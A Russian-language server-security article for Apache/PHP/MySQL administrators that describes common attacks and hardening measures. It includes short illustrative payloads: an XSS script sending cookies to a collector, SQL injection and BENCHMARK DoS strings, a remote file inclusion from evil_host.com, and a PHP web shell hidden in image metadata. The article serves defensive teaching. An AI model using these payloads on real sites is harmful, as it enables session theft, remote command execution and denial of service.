Защита сервера.

В данной статье хотелось бы собрать некоторые виды атак на сервера и средства защиты сервера от хакеров. На тему безопасности написано немерено книг и статей. Упор данной статьи сделан на базовые ошибки администраторов и решения по их устранению. После прочтения этой статьи и проверки собственного сервера администратор так же не сможет спать спокойно, он сможет только сказать я сдал "кандидатский минимум".

Помните администраторы три пословицы,
нет! лучше распечатайте их и повесьте в на своем рабочем месте перед глазами:
"Безопасность - это процесс",
"Когда админу нечего делать, он занимается безопасностью",
"Безопасность определяется по самому слабому звену"
Статья ориентирована на админов *nix + Apache + PHP + Perl + (MySQL | PostgreSQL) и защите серверов от удаленных атак, для остальных админов статья, я надеюсь, будет пищей для размышлений.
В разных книгах есть различные классификации атак хакеров, я введу свое деление на два условных класса ВСЕХ атак, разгруппирую их:

• Атака на сервисы, которые уязвимы и доступны через Интернет
• Атака через динамическое содержимое сервиса

Чтобы понять мое деление, представьте есть вымышленный скрипт, который удаленно атакует Апач на 80 порту и в результате атаки Апач завершает свою работу и вы остаетесь без своего сайта, так как некому выдавать веб-странички. Вашему почтовому серверу sendmail отправили в качестве параметра для VRFY 1000 символов, а не короткое имя пользователя, sendmail не ожидал такого развития событий и закрылся, оставив вас без почты. Общий смысл атак этого условного класса, в том, что эксплуатируется какая-либо уязвимость приложения. И тут три пути -

• путь1) приложение упадет и сервис будет не доступен, ситуация DoS;
• путь2) приложение начнет захватывать ресурсы и истощив их, сделает DoS;
• путь3) приложению скормят шелкод и выполнится код атакующего;

Это всё атаки на сервис (п.п1) и лечатся они только одним способом: админ оперативно узнает от разработчика о наличии уязвимости и обновляет данную программу.

Атака по пункту 2 - это когда, динамический сервис, реализованный на некотором языке программирования, допускает получение параметров и, не проверяя их, выполняет. Например, с помощью браузера атакующий, ползая по сайту под управлением Апач, ищет уязвимости в самом сайте и эксплуатируя их, получает желаемое. Написанный на языке Tcl, бот для модерирования канала IRC сервера принимает запросы от пользователя (номер нового анекдота, дату дня для вывода погоды) и хакер, воссоздавая работу программного кода бота (reverse engineering), конструирует запросы, которые не были учтены автором бота.

Спросите как это? тогда вам точно нужна это статья. Так или иначе, чуть ниже все будет раcписано.

Атака на уязвимые сервисы и сам сервер

В данный раздел я отнес все атаки, чей удар приходится на систему и сервисы. Часто такие атаки возможны из ошибок в реализации программы, такие как переполнение буфера (buffer overflow). Если кратко, то это выглядит так, допустим в плохо написанном фтп сервере есть массив (буфер) для имени пользователя на определенное количество символов (к примеру 10), а получает такой фтп сервер 100 символов от недоброжелателя, если в коде фтп сервера такая ситуация не проверяется, то возникает переполнение буфера.

Что же полезного хакерам дает переполнение локального буфера? Можно перезаписать адрес возврата на злонамеренный код. Удаленно это позволяет выполнить произвольный код на целевой системе, локально, если программа запущена под root'ом, это позволит получить привилегии администратора системы. Код, вызывающий переполнение буфера и выполняющий действия для хакера, называют шелкодом (shell code). Написание шелкода это непростая задача и требует от хакера знаний ассемблера, что подразумевает профессионализм в данной области.

Защита от атак на уязвимые сервисы и сам сервер

• Обновление. Необходимо научится обновлять систему целиком и следовательно уметь
  "строить мир и ядро" для *nix, обновлять через пакетную систему Linux и уметь нажимать кнопку Обновить в Windows Update для лицензионной MS Windows. Для админов FreeBSD нужно уметь ставить софт, используя порты. Так вы будете плыть вместе с разработчиками, а не против них.

  Админам MS Windows нужно привыкать и чаще использовать формат дистрибутива MSI, который настоятельно рекомендуется Microsoft и поддерживает обновление старого пакета новым. Чтобы вы не делали на своем сервере, задайте себе вопрос, если появится новая версия этой программы, как легче обновить ее? Вы должны создать такое решение, которое вы полностью контролируете, да бывают проекты со своими разработками или патчами, но если ваши разработки требуют заморозки нужных вам приложений на определенной версии и вы не можете свои патчи применить к новой системе - ГРОШ цена такому решению!

  Сделаю тут лирическое отступление и расскажу, как мне пришлось ломать себя. Начитавшись в Интернете статей, которые начинаются обычно так "скачайте исходник и поставьте его make install". И что дальше? Новую версию как будете ставить? Держать старую версию, чтобы в ней сделать make (de|un)install? А в новой снова make install? Эти вопросы мне задавал мой друг Дмитрий Дубровин, когда мы начинали осваивать FreeBSD. Я стал понимать, что он прав, и, по крайней мере, для Фри такой путь не годится и, не следуя пути разработчиков FreeBSD, я себе только всё усложнял.

  Теперь освоив FreeBSD, когда парой команд скачиваются новые исходники для ядра Фри и всей системы, затем пара команд создают новый мир и ядро, а потом обновляются порты и приложения в системе, ты начинаешь понимать мощь *nix систем. Трудно передать гордость, которую испытываешь, когда обновляешь сервер с FreeBSD из старой ветки в текущую, перестроение мира системы, когда система сама себя компилирует из новых исходников (похоже как Мюнхаузен себя за волосы вытягивал) и все что до обновления работало, также работает "без напильника".

  Как вы уже поняли, нужно обязательно подписаться на рассылки безопасности от разработчиков того софта, который поддерживает ваш бизнес и обновляться периодически. Обновление всего и вся должно быть отточено и поставлено на рельсы.

• Security tuning. Большинство серверных операционных систем идут не достаточно настроенными, по-умолчанию, для работы в агрессивной "химической" среде Интернет. Чтобы хакеры "не нахимичили" на вашем сервере нужно произвести тюнинг безопасности, а именно прочитать рекомендации производителя операционной системы по безопасности. Админы *nix систем могут вызвать man security и, прочитав советы разработчиков, делать сказку былью. Но какая бы ни была операционная система нужно тщательно тестировать работу сервера и сервисов после тюнинга безопасности.
• Файрвол. Настроенный файрвол, который был проверен вами лично с помощью сканеров портов типа nmap и сканеров уязвимостей, если есть вывод от данных программ, то все ли вы понимаете о чем идет речь? При настройке файрвола помните, что существуют пути обхода его правил. Например, есть локальная сеть защищенная файрволом, выставив флаг запрещения фрагментированности пакета, можно при определенных ситуациях достигнуть адресата в локальной сети. Или частая ошибка администратора, излишнее доверие к исходящим пакетам собственного сервера.

  Представьте реальную ситуацию, вражеский код пытается инициировать соединение с хостом хакера-хозяина, а у вас правило в файрволе "от меня в интернет все разрешено". Составляя правила для файрвола, нужно полностью представлять всю картину сетевого общения ваших сервисов между собой и удаленными клиентами.

• Система обнаружения вторжений. Файрвол можно представить в виде каменных стен у рыцарского замка. Воздвигнул раз и сидишь внутри - сухо и комфортно. А что если кто-то уже из пушки проверяет прочность стен? Может уже нужно выглянуть из замка и навалять люлей кому-то? Чтобы знать, что происходит за стенами замка, те что снаружи, нужно на сервере иметь систему обнаружений вторжений (IDS). Если у вас будет такая система на базе понравившегося вам пакета, то если кто начнет палить из nmap-пушки, то вы будете в курсе, и атакёр тоже будет в курсе "что вы в курсе".
• Анализ нестандартных ситуаций. В многочисленных журналах в системе часто мелькают надписи "error: not open file /etc/passwd" или "access denied". Это маленькие звоночки, которые звонят о некорректно настроенном приложении, которое не может что-то, где-то прочитать, а может это не звоночек, а набат, который бьет тревогу о хакере, который на половине пути.

  В любом случае админ должен знать о таких вещах. Для облегчения труда админа созданы программы, которые проанализируют журналы на появление интересных фраз и отправят по почте администратору отчет. Не брезгуйте такой возможностью, такие программы сравнимы со стражниками, которые проверяют на доверенном пути, а все ли себя ведут так как предписано?

• Уберите версии программ. Уберите баннеры у ваших сервисов. Нет не те баннеры, которые вы показываете на своем сайте, а те строки что выдают ваши программы в приветствиях при подсоединении или в выводе ошибок. Не нужно светить версиями своих программ, хакеры по версиям ищут в Интернете доступные программы, эксплуатирующие ту или иную уязвимость (эксплойты - exploit).

  Тут единого нет решения, например если вы ставите из портов некую программу, то не пишите make install clean, так без вас все скачается, с компилируется и поставится. Лучше сделайте make fetch; make extract; потом зайдите в подкаталог files и там в исходниках можно подправить версию программы или выдать ее за другую и потом уже только make install clean.

  Апач очень информативен не к месту и еще светит версиями системы, PHP, Perl, OpenSSL. Отключается безобразие указанием директив в httpd.conf ServerSignature Off ServerTokens Prod. В Интернете можно найти помощь при подмене баннеров на любую программу. Цель одна - лишить атакующего ценной информации. Глядя на свой список сервисов, доступных из Интернета, спросите себя не выдает ли он лишней информации о себе и хранимой им информации.

  Например, DNS сервер bind может разрешать "перенос зоны" и ваши компьютеры с их IP и доменными именами будут доступны всем, а это плохо. Проверьте сами различными сканерами свой сервер и внимательно прочтите их результат работы. При замене баннера программы, советую вставить не случайный текст, а предупреждение об ответственности и о том, что действия журналируются. Так как были инциденты, когда хакера освобождали в зале суда, так как на взломанном фтп сервере была надпись "Welcome! Добро пожаловать!".

• Правило необходимого минимума. Минимизируйте доступные сервисы для Интернета. Отключайте ненужное, так как нельзя взломать то, что отключено. Частая ошибка, например, когда MySQL сервер, работающий в паре с Apache на одной машине, настроен так, что доступен удаленно на своем стандартном порту 3306. Зачем? Дайте команду netstat -na | grep LISTEN и дайте себе ответ: вы знаете какие программы на каком интерфейсе и какой порт используют? Вы контролируете ситуацию? Хорошо если так.
• Много сильных и разных паролей. Часто в видео по хаку или рассказах хакеров о взломе, мелькает фраза "хорошо что у админа был один пароль на админку, который также подошел к ssh и ftp". Я надеюсь это не про вас. Отсюда правило: пароли на разные сервисы должны быть разными и не меньше 16 символов. Пусть записаны на бумажку, если боитесь забыть (в этом месте меня убивают специалисты по безопасности), но это лучше, чем ваш пароль дешифрует за несколько минут удаленный атакёр, так как маленькая длина пароля и похожесть на словарное слово позволили это сделать.

  Разные пароли на разные сервисы легко сделать если сервисы будут авторизовать не как системных пользователей в базе /etc/passwd, а как виртуальных в своих собственных планарных или СУБД базах. Не храните пароли на серверах в файле password.txt ко всем ресурсам, к которым вы как админ имеете доступ.

• Ограничение. Все ваши службы на сервере должны работать от разных ограниченных учетных записей (account) и никогда не работать от учетной записи root. Поверьте, если доберутся до повышения привилегий от ограниченной учетной записи до статуса рута (uid=0, gid=0), вас спасет отсутствие в вашей обновленной системе известных дыр.

  Кстати, многие админы забывают такую вещь, зачем, например, учетным записям для работы Apache и MySQL иметь доступ к shell! Ведь это можно отключить и вместо shell указать /bin/false. Ну-ка, честно, проверьте на своем подотчетном сервере ваши учетные записи к программам и скажите, если я не прав. В ваших SQL базах ограничивайте аккаунты минимально необходимыми привилегиями. Не давайте привилегии FILE, когда вызывается только SELECT.

• Всех в тюрьму! Обучитесь работе с песочницами (sandbox) или тюрьмами (jail) и запускайте приложения в этих изолированных комнатах, это затруднит взлом всего сервера. Если используете виртуализацию, то можно разнести службы по разным гостевым операционным системам.
• Эшелонированная оборона. Есть возможность что-то запретить несколькими путями в разных местах - сделайте это. НИКОГДА не думайте - это я запретил тут, там запрещать лишнее.

Подробнее об атаках на уязвимые сервисы и сам сервер.

• Атака DoS (Отказ в обслуживании) - атака, чья цель забить какой-либо ограниченный ресурс сервера (интернет канал, оперативную память, процессор и тд и тп), так чтобы сервер не смог обслужить легитимных пользователей. Образно говоря, представьте что вам позвонил домой злоумышленник и молчал в трубку и так продолжалось весь вечер. Вам все это надоело и вы отключили телефон, а утром узнали, что пропустили важный звонок вашего шефа. Вот аналогия из реальной жизни атаки DoS.

  В реальной жизни DoS часто выглядит так, из-за ошибки в программе, использование процессора подскакивает и долго держится у отметки 100%, а атакёр периодически использует данную дыру в программе. Криво написаное приложение может исчерпать всю оперативную память. Или "почтовая бомба" в виде сильно сжатого в архиве файла с множеством знаков [пробел], которого распакует для проверки антивирус и распакованный огромный файл переполнит раздел жестком диске на сервере или/и вызовет перезагрузку сервера.

  Защита от атак DoS:

  • Обновление программы, которой манипулируют для атаки DoS
  • Настроить квотирование ресурсов для учетной записи от которой работает данная программа. *nix системы позволяют настроить процент использования процессора, оперативной памяти, кол-во порождаемых процессов, открытых файлов и т.д. и т.п.
  • Настройте логирование в программе и постарайтесь найти атакера-кукловода и заблокировать его в файрволе.
  • Настройте программу как советует разработчик, гуру, по статьям в Интернете, если вы оказались в такой ситуации.
• DDoS (тот же DoS, но вас атакуют с нескольких компьютеров-зомби, под руководством
  атакующего). DDoS разрушителен и их применяют только те вандалы, которые имеют стада зомбированных машин и будут требовать деньги за прекращение атаки или нанесение ущерба вашему бизнесу, чтобы пользователи, не достучавшись до вашего сервера, ушли к конкуренту. DDoS атаки не применяют хакеры, чья цель интелектуальный взлом вашего сервера, да-да ваш сервер это "загадка", которую хотят "разгадать".

  Как защитится от DDoS? Если будете надеяться на собственные силы и средства, то можно, автоматизируя работу скриптами выуживать IP адреса из различных логов и заносить в запрещающие правила файрвола. Так, например, поступил автор статьи "Есть ли жизнь под DDoS'ом?" в журнале Хакер. Блокируйте сети атакеров в файрволе, урон от DDoS можно уменьшить, если прочесть статьи по настройке ваших программ и выполнить эти инструкции. Например, для Apache есть множество статей как настроить его для минимизации урона от DDoS.

  Защита от атак DDoS:

  • Если DDoS направлен на приложение, попытайтесь в логах найти отличия атакеров от легитимных пользователей, и автоматизируя скриптом, заносите в правила файрвола в deny
  • Если DDoS направлен на систему (например, атака по ICMP протоколу), автоматизируя скриптом, заносите в правила файрвола в deny
  • Настроить квотирование ресурсов для учетной записи от которой работает данная программа. *nix системы позволяют настроить процент использования процессора, оперативной памяти, кол-во порождаемых процессов, открытых файлов и тд и тп
  • Настройте программу как советует разработчик, гуру, по статьям в Интернете, если вы оказались в такой ситуации
  • Обратитесь к вашему вышестоящему провайдеру, чтобы он помог чем смог. Напишите жалобу на abuse@хозяин_сетей_откуда_атакуют.домен. Это поможет частично разрушить сеть атакера, пусть понесет урон, ему это деньги стоит. Испытаете моральное удовлетворение.
  • Познакомьтесь с mod_security для Apache, это прекрасное средство поможет вам в некоторых ситуациях.
• Атака bruteforce пароля. Тут дыры в программах не виноваты, просто грубо подбирают пару логин/пароль. Кто оставлял сервер с настроенным ssh, но забывал ограничить доступ по ssh с определенных IP и с определенными логинами (директива в ssh_config AllowUser), тот наверняка видел в логах попытки перебора пароля маша:пароль_маши.

  Защита от bruteforce пароля:

  • Ограничивайте кол-во попыток неудачных логинов/паролей
  • Если приложение позволяет, то настройте увеличение времени перед новой попыткой логин/пароль.
  • Если с приложением должен работать узкий круг людей, создайте такое правило и ограничьте им

Атака через динамическое содержимое сервиса

Данный вид атак часто происходит на связку Apache + (PHP | PERL) + (MySQL | PostgreSQL) для мира *nix и IIS + ASP + Microsoft SQL Server для мира MS Windows с помощью простого браузера, но это только частный случай, который просто чаще используется из-за популярности web. В данной связке языками программирования являются ASP, PHP, Perl, SQL поэтому их часто будут использовать хакеры для составления своих деструктивных конструкций.

НО самое главное следует уяснить, что таких связок сервис + поверх них динамический контент на языках программирования множество и следовательно все они под прицелом хакеров. Например вот такой неполный список:

• Веб-сервер + CGI скрипты
• Древняя связка ныне не употребляющаяся - Apache + PHF (именно P H F) скрипты
• IIS + сервер приложений ColdFusion
• Механизм SSI (Server Side Includes)

Далее, речь пойдет большой частью о web-hack`е, но не забывайте о том, что все ниже описанное справедливо и для других связок сервис + динамический контент. Слова разные, а суть одна. Сегодня хакеры браузером атакуют web, завтра клиентом R против сервиса Z. Веб-сервер, сам будучи связан с базами данных и с многочисленными языками программирования, стал платформой для атак такого рода.

Смысл всех атак такого рода сводится к тому, чтобы пытаться с помощью браузера обследовать сайт на поиск ошибок в скриптах, обслуживающих динамическое содержимое (content) сайта.

Отсюда вывод - взлом сайта через атаку на web, на котором лежат только статические html-страницы, ссылающиеся только друг на друга, НЕВОЗМОЖЕН. Атаки через ваш Web-сайт появились, когда люди захотели больше интерактивности и добавляли оную через языки программирования и базы данных.

Хакеры сёрфя по сайту, особое внимание обращают на скрипты, которым передается какой-либо параметр. А что если автор скрипта не проверяет что именно передается в качестве значения параметра?

Общие решения для админа от атак на динамическое содержимое сервиса (Web-сайт, как частный случай)

• Обновление. Мы уже об этом говорили, но, если вы используете стороннюю наработку (движки форумов, галерей, чатов и тд и п), то получайте сообщения об уязвимостях и латайте дыры. Мнение хакеров таково, если портал работает с финансами и их оборотом, то на таком портале не желательно наличие чьих либо разработок, кроме собственных. Конечно подразумевается, что разработку собственных движков на сайт писали кодеры, которые умеют безопасно программировать и имеют понятие об угрозах в Интернете.
• Будьте нестандартны. Во многих хакерских утилитах, базах уязвимостей часто мелькают пути forum/, gallery/, images/. Очень удобно! Знай админ, половина из них побреется и плюнет на твой сайт, когда сайт твой не расположен в /usr/www, а админка твоя не site.com/admin. Суть такова, если ты не стандартен, то это дополнительные палки в колеса хакеру, который атакует твой сайт. Ему придется добавлять/исправлять в ручную базу/скрипт. А всегда хакер это сможет или захочет? Молодых хакеров "скрипт-кидисов" это точно отпугнет. Вот, например, советы по безопасности PHP

  
# Сделать код PHP выглядящим как коды других типов
AddType application/x-httpd-php .asp .py .pl
# Сделать код PHP выглядящим как коды неизвестных типов
AddType application/x-httpd-php .bop .foo .133t
# Сделать код PHP выглядящим как html
AddType application/x-httpd-php .html .htm


  Эта форма безопасности для PHP через скрытие имеет мало недостатков при небольших затратах. Сами хакеры, описывая свои взломы, пишут что скачивают такое же ПО, что расположено на вашем сервере, с сайта разработчика и смотрят с какими по-умолчанию именами таблиц/ путями/ работает тот или иной движок. Общий смысл в нестандартности - это затянуть процесс взлома, чтобы у хакера "блицкриг" не получился, а чем больше он тянет, тем больше вероятность его обнаружения.

• Уберите версии движков и скриптов на сайте. Это ценная информация, которой должен быть лишен атакер, зная версию они ищут готовые решения для взлома. Сделайте так, чтобы ваши скрипты при ошибках не выводили полезной информации, такой как: путь к скрипту, где случилась ошибка (проблема "раскрытие пути") и сам вывод ошибки.
• Подумайте о необходимости .htaccess. Наличие файлов .htaccess подразумевает, что можно отменить ваши опции заданные в основном конфиге Апача, поверьте, хакеры так и сделают. Если отменить использование .htaccess с помощью директивы "AllowOverride None", то вы получите выигрыш в производительности Апача, так как он не будет просматривать при каждом запросе все каталоги по пути к веб-страничке и повысите безопасность веб-сервера Апач.

Подробнее об атаках на динамическое содержимое (Web-сайт, как частный случай)

• XSS (Cross Site Scripting).
  Межсайтовый скриптинг называется именно XSS, а не CSS, так как CSS это ранняя аббревиатура означающая "каскадные таблицы стилей". Атаки XSS направлены не против сервера, а против пользователей данного сервера. Но радоватся админ не надо! Выглядит атака XSS следующим образом, на сайте есть редактируемые поля на web-странице или параметры скрипта, которые не фильтрируются на конструкции вида <, >, javascript.

  Хакер добавляет в редактируемые поля код на языке программирования установленный на стороне клиента, обычно это Java и VBScript, и этот код становится частью HTML страницы. Когда пользователь посещает такую страницу, его браузер, разбирая страницу, выполняет этот код.
  Что делают хакеры, благодаря XSS?

  • Кража кукисов (cookie, плюшки) - в этих текстовых файликах хранится информация, которую сервер "положил" пользователю для его последущей идентификации. В примере, если вы создадите файл test.html с таким содержимым (напишите его руками сами), то при запуске в браузере, он выведет XSS.
    

    <htмl><body>
    <ifrаme srс=jаvаscript:аlеrt("XSS!")></sсript>
    Уважаемый админ у мя произошла ошибка при посещении сайта<br> помогите </bоdy></htмl>
    

    А ведь можно написать скрипт на Java и посерьезнее <script>document.location="адрес приемщика кукисов"+document.cookie</script>. Обычно подобные скрипты пишут на web-почту админу и, используя социальную инженерию, пытаются заставить его прочесть сообщение, чтобы получить его кукисы.

    Если в кукисах нет привязки к IP адресу и дополнительных мер защиты, то подменяют свои кукисы на кукисы админа и пытаются попасть в админку, которая не проверяет логин и пароль и идентифицирует людей только по кукисам.

  • Дефейс сайта (deface - замена стартовой страницы сайта, чаще всего index.html)
  • Троянизация удаленного пользователя. Подбираются свежие эксплойты для браузеров пользователей и при их заходе на уязвимую страницу, поисходит попытка заразить компьютер трояном. Если у пользователя установлен антивирус со свежими базами, то он укажет, на появление в системе троянера. И ваш сайт упадет в глазах пользователя, возможно он больше к вам не придет.
  • DoS. При большом количестве посетителей, скрипт дополнительно будет затребовать еще другие страницы с вашего сервера или с другого, кому-то может быть DoS.

  Решение проблемы:

  • Для блокировки записи html тегов в базу данных из полей ввода информации, применяйте конструкции подобные htmlspecialchars для PHP, которые заменят < на &lt;, > на &gt;, & на &amp; и так далее
    Пример,
    
$comment = htmlspecialchars($comment, ENT_QUOTES);
$query = "insert into guestbook
(name, location, email, url, comment) values
('$name', '$location', '$email', '$url', '$comment')";
mysql_query($query) or die (mysql_error());

  • Проверяйте и фильтруйте в своих скриптах все параметры, которые вводит пользователь и передающиеся скрипту через адресную строку. Изучите как правильно применять регулярные выражения для разбора поступающих данных. Для своего языка программирования найдите материал, обучающий приемам безопасного программирования.
  • Если вы хотите использовать технологию cookie на своем сайте, то ознакомьтесь с безопасными методами работы с кукисами. Ограничивайте их действия во времени и по IP адресам.
  • Как админ будьте бдительны, когда вас разводят с помощью социальной инженерии. Не забывайте о личной компьютерной безопасности за своим клиентским компьютером.
• SQL injection. SQL инъекция.
  Эта болезнь обозначает, что непроверенный параметр подставляют в SQL запрос, фигурирующий в скрипте. Скрипты, болеющие SQL injection хакер находит простым способом, к значению параметра поставляется кавычка site.com/view.php?id=1' или числовой параметр видоизменяют так site.com/view.php?id=2-1.

  Если подставленная кавычка вызывает "ошибку" (куча сообщений что не выполняется такой-то запрос в таком то скрипте по такому пути), то такой скрипт кандидат на прокачку его далее. Часто злоумышленники пользуются Гугл-хак'ом, запрашивая поисковик примерно такими запросами "site:www.жертва.ru Warning". Поисковик Гугл выдаст некорректные скрипты на вашем сайте, настолько древние, что они были давно уже проиндексированы пауком Гугла.

  Код, не проверяющий значение и страдающий SQL injection
  
$id = $_REQUEST['id'];
$result = mysql_query("SELECT title, text, datenews, author FROM `news` WHERE `id`='$id'");


  Теперь представьте что вместо числа, вам подставят "-1 union select null/*" (без кавычек) и тогда ваш запрос превратится
  
SELECT title, text, datenews, author FROM `news` WHERE `id`='-1 union select null/*'


  То есть, хакер хочет, чтобы помимо вашего запроса выполнился его запрос, объединеный с вашим с помощью директивы union. А дальше хакер будет пытаться составлять другие запросы и, учитывая мощь языка SQL, ничего хорошего это админу не сулит. От дефейса (deface - замена стартовой страницы сайта) до получения прав root на вашем сервере. Хакер так же может провести DoS атаку благодаря SQL injection: site.com/getnews.php?id=BENCHMARK(10000000,BENCHMARK(10000000, md5(current_date))) пара таких запросов и сервер в 100% загрузке процессора надолго.

  Защита от SQL инъекции:

  • Активно используйте такие средства серверов SQL как представления (view) и хранимые процедуры. Это позволит ограничить несанкцианированный доступ к базе данных.
  • Перед тем как передавать в запрос параметр, его нужно проверить на тип (для PHP - is_bool(), is_float(), is_int(), is_string(), is_object(), is_array() и is_integer()) и, минимум, закавычить с помощью конструкции типа addslashes для PHP.
  • Проверяйте и фильтруйте в своих скриптах все параметры, которые вводит пользователь и передающиеся скрипту через адресную строку. Для своего языка программирования найдите материал, обучающий приемам безопасного программирования.
  • Все скрипты работают с базой данных от какой-нибудь учетной записью базы данных, уберите у этой учетной записи все привилегии, которые не нужны для работы. Часто хакеры используют команду MySQL (MySQL взят для примера, это касается любого SQL сервера) "LOAD DATA INFILE" для чтения нужных им файлов с сервера и доступных для чтения учетной записи, от которой работает MySQL. Отсюда вывод, отключайте ненужные привилегии для ваших скриптов, такие как FILE, которые нужны для применения команды LOAD DATA INFILE. Принцип "основного минимума" должен быть взят за основу.
  • Системная учетная запись, от которой работает SQL сервер, не должна иметь доступ к страницам сайта и системным файлам сервера.
• Подключение файлов. Include file. Допустим есть страница site.com/getnews.php?file=190607, но автор скрипта, используя include, подключает страницу, без проверок.
  
$file = $_REQUEST['file'];
include($file.'.html');


  Хакер, вместо 190607 подставит evil_host.com/shell.php и тогда вся адресная строка хакерского браузера будет выглядеть так site.com/postnews.php?file=evil_host.com/shell.php и на вашем сайте у хакера будет свой веб-шел с правами, которыми обладает Apache.

  Защита от подключений файлов:

  • Проверяйте и фильтруйте в своих скриптах все параметры, которые вводит пользователь и передающиеся скрипту через адресную строку. Для своего языка программирования найдите материал, обучающий приемам безопасного программирования.
  • Хакерам очень нравится, когда язык программирования на сайте позволяет запускать системные команды. Следовательно, нужно запретить вызов таких функций в вашем языке программирования, если, конечно, это возможно. Например, в настройках PHP есть возможность указать список "запрещенных" функций с помощью disable_functions в php.ini.
• Троянская картинка
  Если у вас есть на сайте возможность заливать файлы на сервер, будьте готовы к заливке, например, картинки аватары. В картинке в формате JPEG есть понятие метаданные (вспомните куда фотоаппрат записывает информацию при съемке кадра) и в эти метаданные запишут
  
<? echo "<pre>";passthru($_GET['cmd']);echo "</pre>"; ?>


  картинку переименуют avatara.jpg.php, для обхода большинства проверок на расширение, и будут использовать site.com/upload_images/avatara.jpg.php?cmd=команды_сервера

  Защита от трояна:

  • Корректно проверяйте расширение файлов. Даже если вы корректно обрабатываете разрешенные файлы, будьте готовы, что картинку из jpg в php, переименуют с помощью другой уязвимости на вашем сайте. Проверяйте наличие в картинке метаданных с помощью функций подобных exif_read_data() в PHP.
  • Запретите средствами своего веб-сервера выполнение языков программирования в каталогах с изображениями. Для этого, просмотрите в конфигах Апача строчки вида "AddType application/x-httpd-", которые связывают языки программирования с расширениями файлов и запретите их выполнение в каталогах с изображениями. Для Apache запрещение выполнение файлов языка PHP будет конструкция
    
<Files "\.php">
Order deny, allow
Deny from all
</Files>

  • Для своего языка программирования найдите материал, обучающий приемам безопасного программирования при обработке изображений и корректной заливки их на сервер.

Личное спасибо:

• друг Александр Пупышев ака lynx за критику и советы
• сайт antichat.ru/
• сайт xakep.ru/
• книга Майкл Эбен, Брайан Таймэн. FreeBSD Администрирование: исскуство достижения равновесия
• книга Джоел Скембрей, Стюарт Мак-Клар, Джордж Курц. Секреты хакеров: Безопасность сетей - готовые решения. Второе издание

Другие источники информации о защите:

• Страница справочного руководства в FreeBSD man security содержит описание общих проблем защиты и правильной практики администрирования.
• Подпишитесь на списки рассылки freebsd-security @ freebsd.org. Для этого пошлите письмо по адресу majordomo @ freebsd.org с текстом subscribe freebsd-security в теле сообщения. Именно в этом списке рассылке обсуждается наиболее актуальные проблемы защиты.
• Страница информации о защите FreeBSD freebsd.org/security/
• Документ FreeBSD Security How-To
• Сайт CERT.org содержит информацию об уязвимых местах в защите всех операционных систем.
• Книга "Брандмауэры и защита в Internet" (Firewalls & Internet Security) Уильям Чесвик (William R. Cheswick) и Стивен Беллоуин (Steven M. Bellowin)
• Книга "Построение брандмауэров в Internet" (Building Internet Firewalls, 2nd Edition) Брент Чэпмен (Brent Chapman) и Элизабет Цвики (Elizabeth Zwicky)

Итог:
Я надеюсь, статья помогла вам увидеть все проблемы вместе, теперь админ нужно прочесть о компьютерной безопасности, баз данных, веб серверов, языков программирования из дополнительных источников. Резюмируя кратко статью, нужно быть в курсе новостей о выходе проблем с безопасностью, обновлятся и проверять в своих наработках все входные данные на корректность.
Да прибудет с вами сила!

Дополнительная информация:
Безопасность Ubuntu
Правила AppArmor

Дата последней правки: 2013-07-06 11:08:20